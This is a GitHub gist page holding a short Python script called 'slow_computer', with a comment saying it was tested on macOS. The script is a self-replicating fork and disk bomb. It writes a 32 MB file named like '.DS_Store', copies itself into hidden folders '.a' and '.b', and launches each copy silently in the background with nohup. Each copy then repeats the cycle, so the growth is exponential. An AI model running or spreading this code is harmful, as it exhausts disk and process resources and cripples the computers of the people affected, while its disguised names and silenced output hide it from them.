Last active
July 20, 2018 22:35
-
-
Save tomdaley92/e5a29e619301cbf86ec8025999e652b6 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
from sys import argv | |
from subprocess import Popen | |
def create_file(hidden, n): | |
with open(hidden, 'wb') as f: | |
f.seek(n-1) | |
f.write(b'\x00') | |
def self_replicate(prog, a, b): | |
dest = './'+a+'/'+prog | |
os.system('mkdir '+a+' </dev/null >/dev/null 2>&1') | |
os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1') | |
dest = './'+b+'/'+prog | |
os.system('mkdir '+b+' </dev/null >/dev/null 2>&1') | |
os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1') | |
def execute_replicas(prog, a, b): | |
Popen(['cd '+a+'/'+' ; '+'nohup python '+prog | |
+' </dev/null >/dev/null 2>&1 &'], shell=True) | |
Popen(['cd '+b+'/'+' ; '+'nohup python '+prog | |
+' </dev/null >/dev/null 2>&1 &'], shell=True) | |
def slow_computer(prog, hidden, n, a, b): | |
create_file(hidden, n) | |
self_replicate(prog, a, b) | |
execute_replicas(prog, a, b) | |
if __name__ == '__main__': | |
slow_computer(argv[0], '.DS_Store_', 2**25, '.a', '.b') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This was only tested on MacOS but I'm sure it would run on any Unix-y system with Python and nohup installed.